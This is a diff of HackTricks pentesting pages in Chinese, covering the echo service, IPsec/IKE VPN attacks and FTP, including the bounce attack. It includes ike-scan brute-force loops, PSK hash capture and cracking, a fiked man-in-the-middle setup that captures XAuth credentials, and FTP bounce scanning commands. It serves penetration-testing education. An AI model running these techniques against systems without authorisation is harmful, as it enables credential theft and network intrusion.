<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
此主机上运行着一个回显服务。回显服务旨在用于测试和测量目的,可能同时监听 TCP 和 UDP 协议。服务器会将接收到的任何数据原样发送回去,未做任何修改。\
|
||||
**通过将回显服务连接到同一台或另一台机器上的回显服务,可以导致拒绝服务**。由于产生的包数量过多,受影响的机器可能会被有效地使其无法服务。\
|
||||
此主机上运行着回显服务。回显服务旨在用于测试和测量目的,可能同时监听 TCP 和 UDP 协议。服务器会将接收到的任何数据原样发送回去,未做任何修改。\
|
||||
**通过将回显服务连接到同一台或另一台机器上的回显服务,可能会导致服务拒绝**。由于产生的包数量过多,受影响的机器可能会被有效地使其无法服务。\
|
||||
信息来源于 [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**默认端口:** 7/tcp/udp
|
||||
**默认端口:** 7/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
|
@ -51,12 +43,6 @@ Hello echo #This is the response
|
|||
[CA-1996-01 UDP端口拒绝服务攻击](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -66,7 +52,7 @@ Hello echo #This is the response
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,38 +1,30 @@
|
|||
# 500/udp - Pentesting IPsec/IKE VPN
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**IPsec** 被广泛认为是保护网络之间(LAN-to-LAN)和远程用户到网络网关(远程访问)通信的主要技术,是企业 VPN 解决方案的支柱。
|
||||
**IPsec** 被广泛认为是保护网络之间(LAN到LAN)和从远程用户到网络网关(远程访问)通信的主要技术,是企业VPN解决方案的支柱。
|
||||
|
||||
**IKE** 管理两个点之间的 **安全关联 (SA)** 的建立,它在 ISAKMP 的框架下运行,ISAKMP 是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段:
|
||||
**IKE** 管理两个点之间的 **安全关联(SA)** 的建立,它在 ISAKMP 的框架下运行,ISAKMP 是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段:
|
||||
|
||||
* **阶段 1:** 在两个端点之间创建一个安全通道。这是通过使用预共享密钥 (PSK) 或证书来实现的,采用主模式,该模式涉及三对消息,或 **激进模式**。
|
||||
* **阶段 1:** 在两个端点之间创建一个安全通道。这是通过使用预共享密钥(PSK)或证书来实现的,采用主模式,该模式涉及三对消息,或 **激进模式**。
|
||||
* **阶段 1.5:** 虽然不是强制性的,但这一阶段被称为扩展认证阶段,通过要求用户名和密码来验证试图连接的用户的身份。
|
||||
* **阶段 2:** 这一阶段专注于协商用于保护数据的 **ESP** 和 **AH** 的参数。它允许使用与阶段 1 中不同的算法,以确保 **完美前向保密 (PFS)**,增强安全性。
|
||||
* **阶段 2:** 这一阶段专注于协商用于保护数据的 **ESP** 和 **AH** 的参数。它允许使用与阶段 1 中不同的算法,以确保 **完美前向保密(PFS)**,增强安全性。
|
||||
|
||||
**默认端口:** 500/udp
|
||||
|
||||
|
@ -68,7 +60,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
|
|||
|
||||
* _0 returned handshake; 0 returned notify:_ 这意味着目标 **不是 IPsec 网关**。
|
||||
* _**1 returned handshake; 0 returned notify:**_ 这意味着 **目标已配置为 IPsec,并愿意进行 IKE 协商,您提议的一个或多个变换是可接受的**(有效的变换将在输出中显示)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPN 网关在 **没有可接受的变换时** 会以通知消息响应(尽管有些网关不会,在这种情况下应进行进一步分析并尝试修订提案)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPN 网关在 **没有可接受的变换时** 会响应通知消息(尽管有些网关不会,在这种情况下应进行进一步分析并尝试修订提案)。
|
||||
|
||||
然后,在这种情况下,我们已经有了一个有效的变换,但如果您处于第三种情况,则需要 **稍微暴力破解一下以找到有效的变换:**
|
||||
|
||||
|
@ -80,7 +72,7 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
|
|||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
如果暴力破解没有成功,可能服务器即使对有效的变换也没有进行握手响应。那么,你可以尝试使用攻击模式进行相同的暴力破解:
|
||||
如果暴力破解没有成功,可能服务器即使对有效的变换也没有进行握手响应。那么,你可以尝试使用激进模式进行相同的暴力破解:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
|
@ -92,10 +84,10 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
|||
```
|
||||
![](<../.gitbook/assets/image (617).png>)
|
||||
|
||||
在 **DH 组:14 = 2048位 MODP** 和 **15 = 3072位**\
|
||||
在 **DH 组:14 = 2048 位 MODP** 和 **15 = 3072 位**\
|
||||
**2 = HMAC-SHA = SHA1(在这种情况下)。`--trans` 格式为 $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
思科表示应避免使用 DH 组 1 和 2,因为它们不够强大。专家认为,**资源丰富的国家可以轻易破解使用这些弱组的数据加密**。这通过使用一种特殊方法来实现,使它们能够快速破解代码。尽管设置这种方法的成本很高,但它允许这些强大的国家实时读取加密数据,如果使用的是不强的组(如 1,024 位或更小)。
|
||||
思科表示应避免使用 DH 组 1 和 2,因为它们不够强大。专家认为,**资源丰富的国家可以轻易破解使用这些弱组的数据加密**。这通过使用一种特殊方法来实现,使其能够快速破解代码。尽管设置这种方法的成本很高,但它允许这些强大的国家实时读取加密数据,如果使用的是不强的组(如 1,024 位或更小)。
|
||||
|
||||
### 服务器指纹识别
|
||||
|
||||
|
@ -123,16 +115,16 @@ IP Address No. Recv time Delta Time
|
|||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
这也可以通过 nmap 脚本 _**ike-version**_ 实现。
|
||||
这也可以通过 nmap 脚本 _**ike-version**_ 来实现。
|
||||
|
||||
## 查找正确的 ID(组名)
|
||||
|
||||
为了能够捕获哈希,您需要一个支持 Aggressive 模式的有效转换和正确的 ID(组名)。您可能不知道有效的组名,因此您需要进行暴力破解。\
|
||||
为此,我建议您使用 2 种方法:
|
||||
|
||||
### 使用 ike-scan 进行暴力破解 ID
|
||||
### 使用 ike-scan 进行 ID 暴力破解
|
||||
|
||||
首先尝试使用假 ID 发出请求,试图收集哈希(“-P”):
|
||||
首先尝试使用假 ID 发起请求,试图收集哈希(“-P”):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
|
@ -140,7 +132,7 @@ ike-scan -P -M -A -n fakeID <IP>
|
|||
|
||||
![](<../.gitbook/assets/image (917).png>)
|
||||
|
||||
但是如果如我所说,没有返回哈希,那么你应该尝试使用ike-scan暴力破解常见的组名。
|
||||
但如果如我所说,没有返回哈希,那么你应该尝试使用ike-scan暴力破解常见的组名。
|
||||
|
||||
这个脚本**将尝试暴力破解可能的ID**,并返回有效握手的ID(这将是一个有效的组名)。
|
||||
|
||||
|
@ -162,15 +154,15 @@ Or use this dict (is a combination of the other 2 dicts without repetitions):
|
|||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来 **暴力破解 ID 的工具**。该工具将 **尝试利用不同的漏洞**,以便 **区分有效 ID 和无效 ID**(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)。
|
||||
|
||||
默认情况下,**ikeforce** 在开始时会发送一些随机 ID 来检查服务器的行为并确定使用的策略。
|
||||
默认情况下,**ikeforce** 将在开始时发送一些随机 ID 以检查服务器的行为并确定使用的策略。
|
||||
|
||||
* **第一种方法**是通过 **搜索** Cisco 系统的 **死对等检测 DPD** 信息来暴力破解组名(只有在组名正确时,服务器才会回复此信息)。
|
||||
* **第二种方法**是 **检查每次尝试发送的响应数量**,因为有时使用正确 ID 时会发送更多数据包。
|
||||
* **第二种方法**是 **检查每次尝试发送的响应数量**,因为有时使用正确的 ID 时会发送更多的数据包。
|
||||
* **第三种方法**是 **搜索对无效 ID 的响应中的 "INVALID-ID-INFORMATION"**。
|
||||
* 最后,如果服务器对检查没有任何回复,**ikeforce** 将尝试暴力破解服务器,并检查在发送正确 ID 时服务器是否回复某些数据包。\
|
||||
显然,暴力破解 ID 的目标是获取 **PSK**,当你有一个有效的 ID 时。然后,使用 **ID** 和 **PSK** 你将需要暴力破解 XAUTH(如果启用的话)。
|
||||
|
||||
如果你发现了特定的转换,请将其添加到 ikeforce 命令中。如果你发现了多个转换,可以随意添加一个新循环来尝试它们所有(你应该尝试所有,直到其中一个正常工作)。
|
||||
如果你发现了特定的转换,请将其添加到 ikeforce 命令中。如果你发现了多个转换,可以自由添加一个新的循环来尝试它们所有(你应该尝试所有,直到其中一个正常工作)。
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -181,7 +173,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
```
|
||||
### Sniffing ID
|
||||
|
||||
(来自书籍 **Network Security Assessment: Know Your Network**): 通过嗅探VPN客户端和服务器之间的连接,也可以获得有效的用户名,因为包含客户端ID的第一个攻击模式数据包是以明文发送的。
|
||||
(来自书籍 **Network Security Assessment: Know Your Network**): 通过嗅探VPN客户端和服务器之间的连接,也可以获得有效的用户名,因为第一个包含客户端ID的攻击模式数据包是明文发送的。
|
||||
|
||||
![](<../.gitbook/assets/image (891).png>)
|
||||
|
||||
|
@ -201,15 +193,15 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
|
||||
**攻击模式 IKE** 结合 **预共享密钥 (PSK)** 通常用于 **组认证** 目的。此方法通过 **XAuth (扩展认证)** 进行增强,后者引入了额外的 **用户认证** 层。此类认证通常利用 **Microsoft Active Directory**、**RADIUS** 或类似系统。
|
||||
|
||||
转向 **IKEv2** 时,观察到一个显著的变化,即使用 **EAP (可扩展认证协议)** 代替 **XAuth** 进行用户认证。这一变化强调了安全通信协议中认证实践的演变。
|
||||
转向 **IKEv2** 时,观察到一个显著的变化,即 **EAP (可扩展认证协议)** 被用来替代 **XAuth** 进行用户认证。这一变化强调了安全通信协议中认证实践的演变。
|
||||
|
||||
### 本地网络 MitM 捕获凭证
|
||||
|
||||
因此,您可以使用 _fiked_ 捕获登录数据,并查看是否有任何默认用户名(您需要将 IKE 流量重定向到 `fiked` 进行嗅探,这可以通过 ARP 欺骗实现,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked 将充当 VPN 端点并捕获 XAuth 凭证:
|
||||
因此,您可以使用 _fiked_ 捕获登录数据,并查看是否有任何默认用户名(您需要将 IKE 流量重定向到 `fiked` 进行嗅探,这可以通过 ARP 欺骗来完成,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked 将充当 VPN 端点,并将捕获 XAuth 凭证:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
同时,使用IPSec尝试进行中间人攻击并阻止所有流量到端口500,如果无法建立IPSec隧道,流量可能会以明文发送。
|
||||
也可以使用IPSec尝试进行中间人攻击并阻止所有流量到端口500,如果无法建立IPSec隧道,流量可能会以明文形式发送。
|
||||
|
||||
### 使用ikeforce暴力破解XAUTH用户名和密码
|
||||
|
||||
|
@ -241,11 +233,11 @@ root@system:~# ifconfig tun0
|
|||
```
|
||||
在此设置中:
|
||||
|
||||
* 用 VPN 网关的实际 IP 地址替换 `[VPN_GATEWAY_IP]`。
|
||||
* 用 VPN 连接的标识符替换 `[VPN_CONNECTION_ID]`。
|
||||
* 用 VPN 的组密钥替换 `[VPN_GROUP_SECRET]`。
|
||||
* 用 VPN 身份验证凭据替换 `[VPN_USERNAME]` 和 `[VPN_PASSWORD]`。
|
||||
* `[PID]` 表示在 `vpnc` 启动时将分配的进程 ID。
|
||||
* 将 `[VPN_GATEWAY_IP]` 替换为 VPN 网关的实际 IP 地址。
|
||||
* 将 `[VPN_CONNECTION_ID]` 替换为 VPN 连接的标识符。
|
||||
* 将 `[VPN_GROUP_SECRET]` 替换为 VPN 的组密钥。
|
||||
* 将 `[VPN_USERNAME]` 和 `[VPN_PASSWORD]` 替换为 VPN 身份验证凭据。
|
||||
* `[PID]` 表示在 `vpnc` 启动时分配的进程 ID。
|
||||
|
||||
确保在配置 VPN 时使用实际的、安全的值来替换占位符。
|
||||
|
||||
|
@ -254,17 +246,12 @@ root@system:~# ifconfig tun0
|
|||
* [PSK 破解论文](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus 深度分析](http://www.securityfocus.com/infocus/1821)
|
||||
* [扫描 VPN 实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* 网络安全评估 第三版
|
||||
* 网络安全评估 第3版
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
**文件传输协议 (FTP)** 是在计算机网络中服务器与客户端之间进行文件传输的标准协议。\
|
||||
**文件传输协议 (FTP)** 是一个标准协议,用于在计算机网络中在服务器和客户端之间传输文件。\
|
||||
它是一个**明文**协议,使用**换行符 `0x0d 0x0a`**,因此有时需要**使用 `telnet`** 或 **`nc -C`** 进行连接。
|
||||
|
||||
**默认端口:** 21
|
||||
|
@ -39,7 +31,7 @@ PORT STATE SERVICE
|
|||
|
||||
但是,如果 FTP 客户端设置了防火墙以控制来自外部的传入数据连接,则主动 FTP 可能会成为一个问题。对此的可行解决方案是被动 FTP。
|
||||
|
||||
在 **被动 FTP** 中,客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后,客户端发出 **passv 命令**。服务器然后将其端口号 M 发送给客户端。然后,**客户端**从 **其端口 P 到 FTP 服务器的端口 M** **发起**数据 **连接**。
|
||||
在 **被动 FTP** 中,客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后,客户端发出 **passv 命令**。服务器随后将其端口号 M 发送给客户端。然后,**客户端**从 **其端口 P 到 FTP 服务器的端口 M** **发起**数据 **连接**。
|
||||
|
||||
来源: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
|
@ -153,14 +145,14 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`PASS password`**
|
||||
* **`HELP`** 服务器指示支持哪些命令
|
||||
* **`PORT 127,0,0,1,0,80`** 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立连接(_你需要将第 5 个字符设置为 "0",第 6 个字符设置为十进制端口,或者使用第 5 和第 6 个字符以十六进制表示端口_)。
|
||||
* **`EPRT |2|127.0.0.1|80|`** 这将指示 FTP 服务器与 IP 127.0.0.1 在端口 80 建立 TCP 连接(_由 "2" 指示_)。此命令 **支持 IPv6**。
|
||||
* **`EPRT |2|127.0.0.1|80|`** 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立 TCP 连接(_由 "2" 指示_)。此命令 **支持 IPv6**。
|
||||
* **`LIST`** 这将发送当前文件夹中的文件列表
|
||||
* **`LIST -R`** 递归列出(如果服务器允许)
|
||||
* **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在,它将附加数据。
|
||||
* **`STOR /path/something.txt`** 类似于 `APPE`,但它将覆盖文件
|
||||
* **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在,将附加数据。
|
||||
* **`STOR /path/something.txt`** 类似于 `APPE`,但将覆盖文件
|
||||
* **`STOU /path/something.txt`** 类似于 `APPE`,但如果存在则不执行任何操作。
|
||||
* **`RETR /path/to/file`** 必须建立被动或端口连接。然后,FTP 服务器将通过该连接发送指定的文件
|
||||
* **`REST 6`** 这将指示服务器下次使用 `RETR` 发送时应从第 6 字节开始。
|
||||
* **`REST 6`** 这将指示服务器下次使用 `RETR` 发送内容时应从第 6 字节开始。
|
||||
* **`TYPE i`** 设置传输为二进制
|
||||
* **`PASV`** 这将打开一个被动连接,并指示用户可以连接的位置
|
||||
* **`PUT /tmp/file.txt`** 将指定文件上传到 FTP
|
||||
|
@ -169,11 +161,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
## FTP 反弹攻击
|
||||
|
||||
一些 FTP 服务器允许命令 PORT。此命令可用于指示服务器你想要连接到其他 FTP 服务器的某个端口。然后,你可以利用此功能扫描主机的哪些端口是开放的。
|
||||
一些 FTP 服务器允许使用 PORT 命令。此命令可用于指示服务器你想要连接到其他 FTP 服务器的某个端口。然后,你可以利用此功能扫描主机的哪些端口是开放的。
|
||||
|
||||
[**在这里了解如何滥用 FTP 服务器扫描端口。**](ftp-bounce-attack.md)
|
||||
|
||||
你还可以滥用这种行为使 FTP 服务器与其他协议交互。你可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**(_也许是为了添加一个新的管理员用户?_)或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。\
|
||||
你还可以利用这种行为使 FTP 服务器与其他协议交互。你可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**(_也许是为了添加一个新的管理员用户?_)或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。\
|
||||
理论很简单:
|
||||
|
||||
1. **将请求(放在文本文件中)上传到易受攻击的服务器。** 记住,如果你想与另一个 HTTP 或 FTP 服务器通信,你需要用 `0x0d 0x0a` 更改行
|
||||
|
@ -189,14 +181,14 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* 尝试 **用与协议相关的 "垃圾" 数据填充请求**(与 FTP 交谈时也许只是垃圾命令或重复 `RETR` 指令以获取文件)
|
||||
* 尝试 **用与协议相关的 "垃圾" 数据填充请求**(与 FTP 交谈时,可能只是垃圾命令或重复 `RETR` 指令以获取文件)
|
||||
* 只需 **用大量空字符或其他字符填充请求**(分行或不分行)
|
||||
|
||||
无论如何,这里有一个 [关于如何滥用这一点使 FTP 服务器从不同 FTP 服务器下载文件的旧示例。](ftp-bounce-download-2oftp-file.md)
|
||||
无论如何,这里有一个 [关于如何滥用此功能使 FTP 服务器从不同 FTP 服务器下载文件的旧示例。](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla 服务器漏洞
|
||||
|
||||
**FileZilla** 通常 **绑定** 到 **本地** 的 **管理服务** 用于 **FileZilla-Server**(端口 14147)。如果你可以从 **你的机器** 创建一个 **隧道** 以访问此端口,你可以 **使用空密码连接** 到 **它** 并 **创建** 一个 **新的用户** 用于 FTP 服务。
|
||||
**FileZilla** 通常 **绑定** 到 **本地** 的 **管理服务** 用于 **FileZilla-Server**(端口 14147)。如果你可以从 **你的机器** 创建一个 **隧道** 以访问此端口,你可以 **使用空密码连接** 到 **它** 并 **为 FTP 服务创建** 一个 **新用户**。
|
||||
|
||||
## 配置文件
|
||||
```
|
||||
|
@ -224,15 +216,6 @@ vsFTPd 的默认配置可以在 `/etc/vsftpd.conf` 中找到。在这里,你
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manual
|
||||
|
@ -35,7 +27,7 @@
|
|||
3. 使用 **`LIST`**(这将仅向连接的 _\<IP:Port>_ 发送 FTP 文件夹中当前文件的列表)并检查可能的响应:`150 File status okay`(这意味着端口是开放的)或 `425 No connection established`(这意味着端口是关闭的)
|
||||
4. 除了 `LIST`,您还可以使用 **`RETR /file/in/ftp`** 并寻找类似的 `Open/Close` 响应。
|
||||
|
||||
使用 **PORT** 的示例(172.32.80.80 的端口 8080 是开放的,端口 7777 是关闭的):
|
||||
使用 **PORT** 的示例(172.32.80.80 的 8080 端口是开放的,7777 端口是关闭的):
|
||||
|
||||
![](<../../.gitbook/assets/image (241).png>)
|
||||
|
||||
|
@ -43,7 +35,7 @@
|
|||
|
||||
![](<../../.gitbook/assets/image (539).png>)
|
||||
|
||||
使用 `EPRT` 而不是 `LIST` 打开的端口(不同环境):
|
||||
使用 `EPRT` 而不是 `LIST` 打开的端口(不同环境)
|
||||
|
||||
![](<../../.gitbook/assets/image (875).png>)
|
||||
|
||||
|
@ -53,23 +45,17 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
